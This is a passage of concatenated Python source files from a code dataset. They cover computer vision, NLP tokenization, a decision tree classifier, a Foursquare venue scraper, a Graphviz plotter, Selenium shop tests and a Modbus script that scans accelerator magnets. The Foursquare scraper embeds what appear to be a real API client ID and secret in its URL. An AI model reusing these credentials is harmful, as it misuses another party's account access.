\"\\\\\" + \"tezhengdiantiqu\\\\\"\r\n video_path = \"E:\\\\lip_tracking_project\\\\8.20视频集\\\\测试集\\\\\" + name + \"\\\\\" + name + str(index) +\".avi\"\r\n # 获取当前文件目录\r\n if not os.path.exists(File_Path): # 检查是否存在文件夹\r\n os.makedirs(File_Path) # 不存在则新建\r\n if not os.path.exists(File_Path2): # 检查是否存在文件夹\r\n os.makedirs(File_Path2) # 不存在则新建\r\n test = Video_point(File_Path=File_Path, File_Path2=File_Path2, video_path=video_path, landmarks_data_path=landmarks_data_path, allpicture=10, sampletimes=0,frameFrequency=1)\r\n test.process()\r\n","sub_path":"create_frame_folder.py","file_name":"create_frame_folder.py","file_ext":"py","file_size_in_byte":8215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"365802876","text":"#! /usr/bin/env python3\n\nimport nltk\nfrom pdfminer.pdfparser import PDFParser, PDFDocument\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.converter import PDFPageAggregator\nfrom pdfminer.layout import LAParams, LTTextBox, LTTextLine\n\ndef openPdf(name):\n\tf = open(name, 'rb')\n\tparser = PDFParser(f)\n\tdoc = PDFDocument()\n\tparser.set_document(doc)\n\tdoc.set_parser(parser)\n\tdoc.initialize('')\n\trsrcmgr = PDFResourceManager()\n\tlaparams = LAParams()\n\tdevice = PDFPageAggregator(rsrcmgr, laparams=laparams)\n\tinterpreter = PDFPageInterpreter(rsrcmgr, device)\n\t# Process each page contained in the document.\n\tfor page in doc.get_pages():\n\t\tinterpreter.process_page(page)\n\t\tlayout = device.get_result()\n\t\tfor lt_obj in layout:\n\t\t\tif isinstance(lt_obj, LTTextBox) or isinstance(lt_obj, LTTextLine):\n\t\t\t\t#print(lt_obj.get_text())\n\t\t\t\treturn lt_obj.get_text()\n\n\n#extraction du texte à partir du pdf\nraw = openPdf('file.pdf')\n#decoupe en phrases\n\ntokenizerp = nltk.data.load('tokenizers/punkt/PY3/french.pickle')\ntokens = tokenizerp.tokenize(raw)\nfor line in tokens:\n\t\n\tprint(line)\nprint('================================')\n\n#decoupe en mots et élimination des stopwords\nfrom nltk.tokenize import TreebankWordTokenizer\n\ntokenizer = TreebankWordTokenizer()\n\nfrom nltk.corpus import stopwords\n\nfrench_stopwords = set(stopwords.words('french'))\n\nfor line in tokens:\n\ttokens = tokenizer.tokenize(line)\n\ttokenf = [token for token in tokens if token.lower() not in french_stopwords]\n\n\tprint (tokenf)\n\n\n\n\n\n\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"259675520","text":"\"\"\"\n参考链接:\nhttps://blog.csdn.net/HuangZhang_123/article/details/80660688\n\n\"\"\"\nimport numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\n\ndef orb_match(img1, img2):\n orb = cv2.ORB_create(nfeatures=50)\n kp1, des1 = orb.detectAndCompute(img1,None)\n kp2, des2 = orb.detectAndCompute(img2,None)\n\n # 暴力匹配BFMatcher,遍历描述符,确定描述符是否匹配,然后计算匹配距离并排序\n # BFMatcher函数参数:\n # normType:NORM_L1, NORM_L2, NORM_HAMMING, NORM_HAMMING2。\n # NORM_L1和NORM_L2是SIFT和SURF描述符的优先选择,NORM_HAMMING和NORM_HAMMING2是用于ORB算法\n bf = cv2.BFMatcher(normType=cv2.NORM_HAMMING, crossCheck=False)\n matches = bf.match(des1,des2)\n\n matches = sorted(matches, key = lambda x:x.distance)\n # matches是DMatch对象,具有以下属性:\n # DMatch.distance - 描述符之间的距离。 越低越好。\n # DMatch.trainIdx - 训练描述符中描述符的索引\n # DMatch.queryIdx - 查询描述符中描述符的索引\n # DMatch.imgIdx - 训练图像的索引。\n\n # 使用plt将两个图像的匹配结果显示出来\n img3 = cv2.drawMatches(img1=img1,keypoints1=kp1,img2=img2,keypoints2=kp2, matches1to2=matches, outImg=img2, flags=2)\n plt.imshow(img3)\n plt.show()\n return\n\ndef orb_knn(img1, img2):\n # 使用ORB特征检测器和描述符,计算关键点和描述符\n orb = cv2.ORB_create()\n kp1, des1 = orb.detectAndCompute(img1, None)\n kp2, des2 = orb.detectAndCompute(img2, None)\n\n # 暴力匹配BFMatcher,遍历描述符,确定描述符是否匹配,然后计算匹配距离并排序\n # BFMatcher函数参数:\n # normType:NORM_L1, NORM_L2, NORM_HAMMING, NORM_HAMMING2。\n # NORM_L1和NORM_L2是SIFT和SURF描述符的优先选择,NORM_HAMMING和NORM_HAMMING2是用于ORB算法\n bf = cv2.BFMatcher(normType=cv2.NORM_HAMMING, crossCheck=True)\n # knnMatch 函数参数k是返回符合匹配的个数,暴力匹配match只返回最佳匹配结果。\n matches = bf.knnMatch(des1, des2, k=1)\n\n # 使用plt将两个图像的第一个匹配结果显示出来\n # 若使用knnMatch进行匹配,则需要使用drawMatchesKnn函数将结果显示\n img3 = cv2.drawMatchesKnn(img1=img1, keypoints1=kp1, img2=img2, keypoints2=kp2, matches1to2=matches, outImg=img2,\n flags=2)\n plt.imshow(img3)\n plt.show()\n return\n\n\nif __name__ == '__main__':\n img1 = cv2.imread(r'C:\\Users\\tianx\\PycharmProjects\\opencv\\dataset\\other\\aa.jpg', 0)\n img2 = cv2.imread(r'C:\\Users\\tianx\\PycharmProjects\\opencv\\dataset\\other\\bb.jpg', 0)\n\n orb_knn(img1,img2)","sub_path":"opencv 高阶应用/ORB算法实现特征检测+暴力匹配.py","file_name":"ORB算法实现特征检测+暴力匹配.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"645203729","text":"\"\"\"\nDecision Tree Classification.(DT can be used in both Regression and classification problem)\nIn DT actually we dont need feature scaling but still we are going to use it as we are visualising the \noutput with some resolution setting and without featur scalingit will may no work or \ntake too much time to process.\n\nObservations:\n--9 wrong predictions\n--With agex,salaryx = 60,1 : will buy the SUV\n--With Criterion = 'gini' we have 10 wrong preictions\n\nBe careful,from the training dataset visulaisation it looks lime model doing overfitting\nIts trying to capture all the DP in a region but while running test data.same region are empty.\nOver all the model looks good with less wrong predictions.\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndataset = pd.read_csv(r'E:\\VSCODE\\GIT_Hub\\myML\\Practice\\8-KNN\\Social_Network_Ads.csv')\n\nX = dataset.iloc[:,[2,3]].values\ny = dataset.iloc[:,4].values\n\nfrom sklearn.model_selection import train_test_split\nX_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.25,random_state=0)\n\n#Feature scaling\nfrom sklearn.preprocessing import StandardScaler\nscale = StandardScaler()\nX_train = scale.fit_transform(X_train)\nX_test = scale.transform(X_test)\n\n#Model training\nfrom sklearn.tree import DecisionTreeClassifier\nclassifier = DecisionTreeClassifier(criterion='entropy')\nclassifier.fit(X_train,y_train)\ny_pred = classifier.predict(X_test)\n\n#confusion matrix\nfrom sklearn.metrics import confusion_matrix\nmatrix = confusion_matrix(y_test,y_pred)\nprint(f\"confusion matrix: {matrix}\")\n\n\n#Random Prediction\nagex,salaryx = 60,1\nz=[[agex,salaryx]]\nz = scale.transform(z)\n\nprint(classifier.predict(z))\n\n\nif classifier.predict(z)[0] == 1:\n print(\"Will buy the SUV.\")\nelse:\n print(\"Will not buy the SUV.\")\n\n\n#Visualisation\nfrom matplotlib.colors import ListedColormap\n#X_set, y_set = X_train, y_train\nX_set, y_set = X_test, y_test\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\nplt.title('Decesion Tree Classifier (Test set)')\nplt.xlabel('Age')\nplt.ylabel('Estimated Salary')\nplt.legend()\nplt.show()\n\n\n \n\n\n","sub_path":"UdemyPractice/11-DecesionTreeClassification/DTC.py","file_name":"DTC.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"645020414","text":"# On regarde si il est parfait\ndef parfait(n):\n s = 0\n for k in range(1, round(n/2)+1):\n if n % k == 0:\n s = s + k\n return s == n\n\n# On test les nombres\ndef list(n):\n l = []\n for i in range(6, n+1):\n if parfait(i):\n l.append(i)\n return l\n\n# On test\nprint(list(1000))","sub_path":"autre/nbparfait.py","file_name":"nbparfait.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"50260401","text":"from lxml import html\nimport requests\nimport math\nimport csv\nimport json\n\n#put in a number for offset between urlbase and afteroffset, then add all 3 together\nurlbase = \"https://api.foursquare.com/v2/venues/explore?near=Providence%2C%20RI%2C%20United%20States&nearGeoId=72057594043152087&q=Food&limit=50&offset=\"\noffset = 0\nafteroffset = \"&client_id=PHXQKJR1W4PZ1PUW2OS2SGOGSGU3DQ0KBAZWM0PFZ2DXC5SE&client_secret=KLXFZC3YYN3N5OL1ZMRJHALA0Z1KXEIKDHLZAJG5XRIACRHJ&v=20140806\"\n\nurl = urlbase+str(offset)+afteroffset\nr = requests.get(url, params={})\nresults = r.json()[\"response\"]\nallfound = \"warning\" in results\n\nresults = results[\"groups\"][0][\"items\"]\n\nwith open(\"data/foursquare/foursquare.csv\", \"wb\") as r:\n rwriter = csv.writer(r, delimiter = '|')\n rwriter.writerow([\"Name\", \"Price\", \"Score\", \"Votes\", \"Address\"])\n\n while(not allfound):\n allfound = True\n for i in range(0, len(results)):\n venue = results[i][\"venue\"]\n\n if \"address\" in venue[\"location\"]:\n address = venue[\"location\"][\"address\"]\n else:\n address = \"N/A\"\n\n name = venue[\"name\"]\n if \"price\" in venue:\n price = venue[\"price\"][\"tier\"]\n else:\n price = \"N/A\"\n\n if \"rating\" in venue:\n score = venue[\"rating\"]\n else:\n continue\n \n if \"ratingSignals\" in venue:\n votes = venue[\"ratingSignals\"]\n else:\n votes = \"N/A\"\n\n rwriter.writerow([name.encode(\"utf-8\"), price, score, votes, address])\n\n offset += 50\n url = urlbase+str(offset)+afteroffset\n r = requests.get(url, params={})\n results = r.json()[\"response\"]\n allfound = \"warning\" in results\n\n results = results[\"groups\"][0][\"items\"]\n \n","sub_path":"old_code/foursquare_address_scraper.py","file_name":"foursquare_address_scraper.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"472702125","text":"from graphviz import Digraph\n\nclass PathNetPlotter():\n def __init__(self, pathnet, paths=None):\n self._pathnet = pathnet\n\n def plot_paths(self, paths, filename=None):\n depth = self._pathnet.depth\n width = self._pathnet.width\n\n tc = self._pathnet.training_counter\n labels, labels_t = self.get_node_labels()\n sums = ['sum_' + str(i) for i in range(depth)]\n\n paths, colors = self.get_paths_to_plot(paths)\n color_map = self.create_color_map(paths, colors)\n\n dot = Digraph(comment='example',\n graph_attr={'rank': 'same', 'nodesep': '0.5', 'splines': 'line'},\n edge_attr={'dir': 'none', 'penwidth':'3'},\n node_attr={'style': 'filled'})\n\n self.add_nodes(dot, labels, color_map, names=tc)\n\n for s in sums:\n dot.node(s, label='sum', color='grey')\n\n for i in range(len(paths)):\n self.add_path(dot, paths[i], colors[i])\n\n dot.body += ['\\t{rank = same; ' + ' '.join(row) + '}' for row in labels_t]\n dot.body += ['\\t{rank = same; ' + ' '.join(sums + ['L0M' + str(int(width / 2))]) + '}']\n dot.body += ['\\t' + ' -> '.join(column) + '[ style = invis, weight = 100 ];' for column in labels]\n\n if filename is not None:\n dot.view()\n dot.render(filename, view=False)\n\n\n\n def add_path(self, graph, path, color):\n for m in path[0]:\n graph.edge('L0' + 'M' + str(m), 'sum_0', color=color)\n\n for i in range(1, len(path) - 1):\n for m in path[i]:\n graph.edge('sum_' + str(i - 1), 'L' + str(i) + 'M' + str(m), color=color)\n\n for m in path[i]:\n graph.edge('L' + str(i) + 'M' + str(m), 'sum_' + str(i), color=color)\n\n for m in path[-1]:\n graph.edge('sum_' + str(len(path) - 2), 'L' + str(len(path) - 1) + 'M' + str(m), color=color)\n graph.edge('L' + str(len(path) - 1) + 'M' + str(m), 'sum_' + str(len(path) - 1), color=color)\n\n def get_node_labels(self):\n depth = self._pathnet.depth\n width = self._pathnet.width\n labels = [[None] * width for _ in range(depth)]\n labels_t = [[None] * depth for _ in range(width)]\n\n for m in range(width):\n for l in range(depth):\n labels[l][m] = 'L' + str(l) + 'M' + str(m)\n labels_t[m][l] = 'L' + str(l) + 'M' + str(m)\n\n return labels, labels_t\n\n def create_color_map(self, paths, colors, default_color='lightgray'):\n depth = self._pathnet.depth\n width = self._pathnet.width\n color_map = [[default_color for _ in range(width)] for _ in range(depth)]\n\n for path, color in zip(paths, colors):\n for l, layer in enumerate(path):\n for m in layer:\n if color_map[l][m] == default_color:\n color_map[l][m] = color\n\n return color_map\n\n def add_nodes(self, graph, labels, color_map, names=None):\n if names is None:\n names = labels\n\n for l in range(len(labels)):\n for m in range(len(labels[l])):\n graph.node(labels[l][m], str(names[l][m]), color=color_map[l][m])\n\n def get_paths_to_plot(self, paths):\n\n if paths is None:\n paths = []\n for task in self._pathnet._tasks:\n if task.optimal_path is not None:\n paths.append(task.optimal_path)\n\n colors = ['#740040', '#df5454', '#fb9e3f',\n '#8ed8b8', '#d3c8ee']\n\n return paths, colors[:len(paths)]","sub_path":"plot_pathnet.py","file_name":"plot_pathnet.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"183169231","text":"# coding:utf-8\n__author__ = 'Alexander'\nfrom model.market import Market\nimport pytest\n\n\ndef test_tv(portal):\n # фикстура создается в conftest.py, инициализируется в portal.py - задается первая страница которую необходимо открыть, развочаривание окна и то как браузер будет закрыт)\n # Заполняем данными поля/чекбоксы для поиска\n portal.market.market_extended_search(Market(section='Электроника',\n sub_section='Телевизоры',\n size_price='20000',\n title_1='Samsung',\n title_2='LG'\n ))\n # получаем названия всех найденых записей\n names = portal.market.count_titles()\n # проверка, что на странице отображается 10 записей\n assert len(names) == 10\n # получаем первый элемент из списка\n one_item_from_list = names[0]\n # выполняем поиск по названию первого элемента\n portal.market.search_by_name(one_item_from_list)\n # проверка, что найденный телевизор совпадает с тем, что мы ищем (по title на странице телевизора)\n assert portal.market.selected_item() == one_item_from_list\n\n\n# так как у нас есть некоторая архитектура, то мы просто скопировали первый тест и поменяли значения\ndef test_headphones(portal):\n portal.market.market_extended_search(Market(section='Электроника',\n sub_section='Наушники',\n size_price='5000',\n title_1='Beats',\n ))\n names = portal.market.count_titles()\n assert len(names) == 10\n one_item_from_list = names[0]\n portal.market.search_by_name(one_item_from_list)\n assert portal.market.selected_item() == one_item_from_list\n","sub_path":"test_yandex/test/test_market_search.py","file_name":"test_market_search.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"228607111","text":"from setuptools import setup, find_packages\r\n\r\nVERSION = '0.0.1'\r\n\r\nsetup(name=\"step_economy\",\r\n version=VERSION,\r\n author='Stępujący brat#1017',\r\n author_email='x.higheconomy@gmail.com',\r\n license='A poo co to komu XD',\r\n description='Ekonomia na wysokim poziomie POG',\r\n packages=find_packages(),\r\n install_requires=['sqlite3', 'discord.py', 'discord']\r\n )","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"618211902","text":"#Created by: Austin Czyzewski\n# Date Tested: 01/14/2020\n# Date last updated: 01/15/2020\n\n####################\n\n###Notes:\n# There is a known bug if the current dumps are not stable/are shorted out. This may\n# result in the magnets not going back to their original position. I am working on an overhaul\n# to reformat how walking to center is done.\n\n####################\n\n\nimport Master as M\nimport time\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nimport Tag_Database as Tags\n\n\n\n'''\nPurpose: To scissor window frames 6 and 7 in the horizontal and vertical directions while collecting data on the current collected.\n We are doing this to collect better data on the dog leg process, save man hours, and produce a quantification for when a good\n 'dog leg' is acheived. This program will spit out a familiar plot while also storing the data for future analysis to be done.\n\n\nLogic walkthrough:\n - Read the Starting current of the Dump\n - At the beginning of each run, check to insure no human intervention has occurred with the write, if it has, kill the loop, continue to produce graphs and txt file\n - Add the appropriate step to each magnet\n - Read the current many times and then take the average of that current and store it alongside the written values for the magnets\n - Every step of the way check if the current has dropped below a specified threshold, if it has, then walk the magnets backs where they came from by the steps taken,\n plus the same amount of read steps going the other way.\n - Repeat the same safety checks, always check each step that the current hasn't reached a lowpoint beyond the threshold\n - When it has, or it reaches the end, turn the magnets back around to walk back to where they started.\n - Repeat for the other set of magnets (Vertical)\n - Plot and produce txt file with Magnet settings in the left column and current readbacks in the right\n\n'''\n\n#Establish a connection to the PLC\n\nClient = M.Make_Client('10.50.0.10')\n\n#Dog Leg\n\nTarget_Tag = Tags.Recirculator_Halfway #Importing the tag value from our Tag Database\nTarget_Tag_2 = Tags.Recirculator_Bypass\nThreshold_Percent = 0 #Float. The percentage of beam that we want to collect in order to turn the Dog Leg around\n\nZoom_In_Factor = 1 #This is how much we want to zoomn in if we are interested in an artifact at the center of the dog leg or want higher precision in the center\n\n#Starting the loop to read the current collected\n\n#Take the starting value of the Target Tag, use for the threshold\n\nread_steps = 40 #Integer. Number of steps to be taken in the Dog Leg. Must be an integer\ncount = 10 #Integer. How many points will be recorded at each step and averaged over.\nsleep_time = 10 #Float.(ms)Sleep for 20 ms, this is tested to not overload PLC or give redundant data\nsleep = sleep_time/1000 #Setting the sleep time to ms\n\n\nDelta_6 = 0.384/Zoom_In_Factor #Change in Window Frame 6 Values throughout the test, standard is 0.384 from Dog Leg Excel sheets (01/01/2020)\nDelta_7 = 0.228/Zoom_In_Factor #Change in Window Frame 7 Values throughout the test, standard is 0.228 from Dog Leg Excel sheets (01/01/2020)\n\ncollected_list_H = [] #Storing values for the magnets throughout the Horizontal Dog Leg\ncollected_list_V = [] #Storing values for the magnets throughout the Vertical Dog Leg\n\n#Window Frames Horizontal\n\nWF6H_Tag = 20223 #The tag for Window Frame 6 Horizontal\nWF7H_Tag = 20227 #The tag for Window Frame 7 Horizontal\n\nWF6H_Start = M.Read(Client,WF6H_Tag) #Starting value for Window Frame 6 Horizontal\nWF7H_Start = M.Read(Client,WF7H_Tag) #Starting value for Window Frame 7 Horizontal\n\nWF6H_list = [] #Storing the values for the horizontal run for Window Frame 6\nWF7H_list = [] #Storing the values for the horizontal run for Window Frame 7\n\nstart_time = time.time()\n\n#Summing the start current of the two dumps\nStart_Current = (M.Read(Client, Target_Tag, Average = True, count = 20,sleep_time = .010) + M.Read(Client, Target_Tag_2, Average = True, count = 20,sleep_time = .010))\n \nH_Broken = False #Creating the check tag for the Horizontal dog leg, starting out as false as no errors could have been raised yet\nV_Broken = False #Creating the check tag for the Vertical dog leg, starting out as false as no errors could have been raised yet\n\n#######################################################################################################################\n\n#Loop for the Horizontal Dog Leg\n\n#######################################################################################################################\n\n#for i in range(read_steps + 1):\nfor i in range(read_steps+1):\n \n #Checking if the Horizontal Dog Leg is broken, if it is, then we break the loop, this is repeated for all if statements\n # containing if H_Broken == True:\n \n if H_Broken == True: \n break\n \n #Checking to see if there has been any human intervention since the last run, this is to act as a safety feature to\n # alternatively kill the program if the run window is hidden\n \n if i != 0: #Don't check on the first run due to absence of Window Frame write values\n \n temp_check_6 = M.Read(Client,WF6H_Tag) #Take the current value of WF6H\n temp_check_7 = M.Read(Client,WF7H_Tag) #Take the current value of WF7H\n \n #Comparing the current value to the last write value, if it is different, this updates the break loop for both Horizontal and Vertical\n if abs(temp_check_6 - WF6H_Write_Value) >= 0.001: #WF6H Check\n H_Broken = True\n V_Broken = True\n print(\"Loop Broken\")\n break\n if abs(temp_check_7 - WF7H_Write_Value) >= 0.001: #WF7H Check\n H_Broken = True\n V_Broken = True\n print(\"Loop Broken\")\n break\n\n #Calculate the new write values from the step being taken \n WF6H_Write_Value = WF6H_Start + (Delta_6/read_steps)*i\n WF7H_Write_Value = WF7H_Start - (Delta_7/read_steps)*i\n \n #Append the new write value to the Window Frame lists\n WF6H_list.append(WF6H_Write_Value)\n WF7H_list.append(WF7H_Write_Value)\n\n #Update a temporary value to be used when walking the loop back\n WF6H_max = WF6H_Write_Value\n WF7H_max = WF7H_Write_Value\n\n #Write to the PLC\n M.Write(Client, WF6H_Tag, WF6H_Write_Value)\n M.Write(Client, WF7H_Tag, WF7H_Write_Value)\n\n #Taking the value of the current collected and averaging, the list is temporary because it is updated each run\n collection = (M.Read(Client, Target_Tag, Average = True, count = 20,sleep_time = .010) + M.Read(Client, Target_Tag_2, Average = True, count = 20,sleep_time = .010))\n\n collected_list_H.append(collection) #Storing the values in the collection list\n\n i_max = i #storing the maximum i value to be used to walk the loop back\n\n #This is to start the walk backward from the max horizontal value reached\n # where we are checking to see that we\n # 1: haven't fallen below our threshold colletion and\n # 2: Haven't reached our maximum walking value\n # When either of these conditions are satisfied, we start our walk in the other direction\n if abs(collection) < abs(Start_Current) * Threshold_Percent/100 or i == read_steps:\n #print('Start Horizontal Descent')\n for j in range(read_steps + i_max + 1): #Take the maximum value reached to go back to 0 (i_max) and then adding our read_steps (read_steps)\n # to get us to our minimum for the Horizontal run\n #Same check as above to break the loop\n if H_Broken == True:\n break\n \n #Same check as above for human intervention\n if i != 0:\n \n temp_check_6 = M.Read(Client,WF6H_Tag)\n temp_check_7 = M.Read(Client,WF7H_Tag)\n \n\n if abs(temp_check_6 - WF6H_Write_Value) >= 0.001:\n H_Broken = True\n V_Broken = True\n print(\"Loop Broken\")\n break\n if abs(temp_check_7 - WF7H_Write_Value) >= 0.001:\n H_Broken = True\n V_Broken = True\n print(\"Loop Broken\")\n break\n\n #Same process as above to calculate the write values, only we are using the max value achieved and walking from there\n WF6H_Write_Value = WF6H_max - (Delta_6/read_steps)*j\n WF7H_Write_Value = WF7H_max + (Delta_7/read_steps)*j\n \n #Appending to our lists\n WF6H_list.append(WF6H_Write_Value)\n WF7H_list.append(WF7H_Write_Value)\n \n #Writing the new values\n M.Write(Client, WF6H_Tag, WF6H_Write_Value)\n M.Write(Client, WF7H_Tag, WF7H_Write_Value)\n\n #Storing the max achieved by this loop, in which case it is the minimum value acheived for window frame 6\n WF6H_min = WF6H_Write_Value\n WF7H_min = WF7H_Write_Value\n \n collection = (M.Read(Client, Target_Tag, Average = True, count = 20,sleep_time = .010) + M.Read(Client, Target_Tag_2, Average = True, count = 20,sleep_time = .010))\n \n collected_list_H.append(collection) #Storing the values in the collection list\n \n #We are storing j_max as the j-read_steps because this will tell us how far past 0 we walked\n j_max = j - read_steps\n\n #This is the same check as we used to enter this loop; however, this time we are checking that we don't\n # walk past our minimum value. We are always looking for the threshold percent to be reached\n \n #This is creating a debounce that ensures that we at least walk back to zero before we check if we need to turn around\n if j < i: \n collection = Start_Current #Setting to the start value to ensure that our check doesn't trip\n \n if abs(collection) < abs(Start_Current) * Threshold_Percent/100 or j == read_steps + i_max:\n #print('Start Horizontal Ascent')\n \n #Starting our loop for the walk back, j_max is used as it tells us how far past 0 we walked. An error\n # will be produced if we didn't make it back to 0. Human intervention required at that point\n for k in range(j_max+1):\n\n if H_Broken == True: #Same check to see if we need to break the loop, this runs at the beginning of the loop as to not\n # not write any values to the magnets after we intended to break\n break\n \n if i != 0: #Same human intervention check as above\n \n temp_check_6 = M.Read(Client,WF6H_Tag)\n temp_check_7 = M.Read(Client,WF7H_Tag)\n \n\n if abs(temp_check_6 - WF6H_Write_Value) >= 0.001:\n H_Broken = True\n V_Broken = True\n print(\"Loop Broken\")\n break\n if abs(temp_check_7 - WF7H_Write_Value) >= 0.001:\n H_Broken = True\n V_Broken = True\n print(\"Loop Broken\")\n break\n\n #Using the minimum value acheived and walking from there\n WF6H_Write_Value = WF6H_min + (Delta_6/read_steps)*k\n WF7H_Write_Value = WF7H_min - (Delta_7/read_steps)*k\n \n #Storing the values\n WF6H_list.append(WF6H_Write_Value)\n WF7H_list.append(WF7H_Write_Value)\n \n #Writing\n M.Write(Client, WF6H_Tag, WF6H_Write_Value)\n M.Write(Client, WF7H_Tag, WF7H_Write_Value)\n\n collection = (M.Read(Client, Target_Tag, Average = True, count = 20,sleep_time = .010) + M.Read(Client, Target_Tag_2, Average = True, count = 20,sleep_time = .010))\n \n collected_list_H.append(collection) #Storing the values in the collection list\n #print(\"End Ascent\")\n \n #When we are all the way done, we update the broken value to be True, this is so \n # we don't run through the list one more time and write any new values to the window frames\n H_Broken = True\n break\n \n \n#print(\"Moving on to Vertical\")\n \n\n\n\n#Window Frames Vertical\n \nWF6V_Tag = 20221 #Window Frame 6 Vertical Tag\nWF7V_Tag = 20225 #Window Frame 7 Vertical Tag\n\nWF6V_Start = M.Read(Client,WF6V_Tag) #Start value for Window Frame 6 Vertical\nWF7V_Start = M.Read(Client,WF7V_Tag) #Start value for Window Frame 7 Vertical\n\nWF6V_list = [] #Creating an empty list to store the vertical values to, this just makes it easier to manage for troubleshooting\nWF7V_list = []\n\n#print('Starting Vertical Ascent')\n#######################################################################################################################\n\n#Note: This is the same loop as above, all of the same logic is applied, the difference being in the human intervention loop\n# in the prior checks we would break both loops, but horizontal already ran so we only need to break vertical\n# Note the above loop for any concerns with this loop\n\n#######################################################################################################################\n\nfor i in range(read_steps + 1):\n\n if V_Broken == True:\n break\n \n \n if i != 0:\n \n temp_check_6 = M.Read(Client,WF6V_Tag)\n temp_check_7 = M.Read(Client,WF7V_Tag)\n \n\n if abs(temp_check_6 - WF6V_Write_Value) >= 0.001:\n V_Broken = True\n print(\"Loop Broken\")\n break\n if abs(temp_check_7 - WF7V_Write_Value) >= 0.001:\n V_Broken = True\n print(\"Loop Broken\")\n break\n\n\n WF6V_Write_Value = WF6V_Start + (Delta_6/read_steps)*i\n WF7V_Write_Value = WF7V_Start - (Delta_7/read_steps)*i\n\n WF6V_list.append(WF6V_Write_Value)\n WF7V_list.append(WF7V_Write_Value)\n\n WF6V_max = WF6V_Write_Value\n WF7V_max = WF7V_Write_Value\n\n M.Write(Client, WF6V_Tag, WF6V_Write_Value)\n M.Write(Client, WF7V_Tag, WF7V_Write_Value)\n\n \n collection = (M.Read(Client, Target_Tag, Average = True, count = 20,sleep_time = .010) + M.Read(Client, Target_Tag_2, Average = True, count = 20,sleep_time = .010))\n \n collected_list_V.append(collection) #Storing the values in the collection list\n\n i_max = i\n\n if abs(collection) < abs(Start_Current) * Threshold_Percent/100 or i == read_steps:\n #print(\"Starting Vertical Descent\")\n for j in range(read_steps + i_max + 1):\n\n if V_Broken == True:\n break\n \n if i != 0:\n \n temp_check_6 = M.Read(Client,WF6V_Tag)\n temp_check_7 = M.Read(Client,WF7V_Tag)\n \n\n if abs(temp_check_6 - WF6V_Write_Value) >= 0.001:\n V_Broken = True\n print(\"Loop Broken\")\n break\n if abs(temp_check_7 - WF7V_Write_Value) >= 0.001:\n V_Broken = True\n print(\"Loop Broken\")\n break\n\n\n WF6V_Write_Value = WF6V_max - (Delta_6/read_steps)*j\n WF7V_Write_Value = WF7V_max + (Delta_7/read_steps)*j\n\n WF6V_list.append(WF6V_Write_Value)\n WF7V_list.append(WF7V_Write_Value)\n\n M.Write(Client, WF6V_Tag, WF6V_Write_Value)\n M.Write(Client, WF7V_Tag, WF7V_Write_Value)\n\n WF6V_min = WF6V_Write_Value\n WF7V_min = WF7V_Write_Value\n\n \n collection = (M.Read(Client, Target_Tag, Average = True, count = 20,sleep_time = .010) + M.Read(Client, Target_Tag_2, Average = True, count = 20,sleep_time = .010))\n \n collected_list_V.append(collection) #Storing the values in the collection list\n\n j_max = j - read_steps\n \n if j < i: \n collection = Start_Current\n\n if abs(collection) < abs(Start_Current) * Threshold_Percent/100 or j == i_max + read_steps:\n #print(\"Starting Vertical Ascent\")\n \n for k in range(j_max+1):\n\n if V_Broken == True:\n print(\"Loop Broken\")\n break\n \n if i != 0:\n \n temp_check_6 = M.Read(Client,WF6V_Tag)\n temp_check_7 = M.Read(Client,WF7V_Tag)\n \n\n if abs(temp_check_6 - WF6V_Write_Value) >= 0.001:\n V_Broken = True\n print(\"Loop Broken\")\n break\n if abs(temp_check_7 - WF7V_Write_Value) >= 0.001:\n V_Broken = True\n print(\"Loop Broken\")\n break\n\n\n WF6V_Write_Value = WF6V_min + (Delta_6/read_steps)*k\n WF7V_Write_Value = WF7V_min - (Delta_7/read_steps)*k\n\n WF6V_list.append(WF6V_Write_Value)\n WF7V_list.append(WF7V_Write_Value)\n\n M.Write(Client, WF6V_Tag, WF6V_Write_Value)\n M.Write(Client, WF7V_Tag, WF7V_Write_Value)\n\n \n collection = (M.Read(Client, Target_Tag, Average = True, count = 20,sleep_time = .010) + M.Read(Client, Target_Tag_2, Average = True, count = 20,sleep_time = .010))\n \n collected_list_V.append(collection) #Storing the values in the collection list\n #print(\"Done with Vertical Ascent\")\n\n V_Broken = True\n break\n\n \n \n#print(\"Loops Broken\")\n\n#######################################################################################################################\n\n#End The repeat loop, moving on 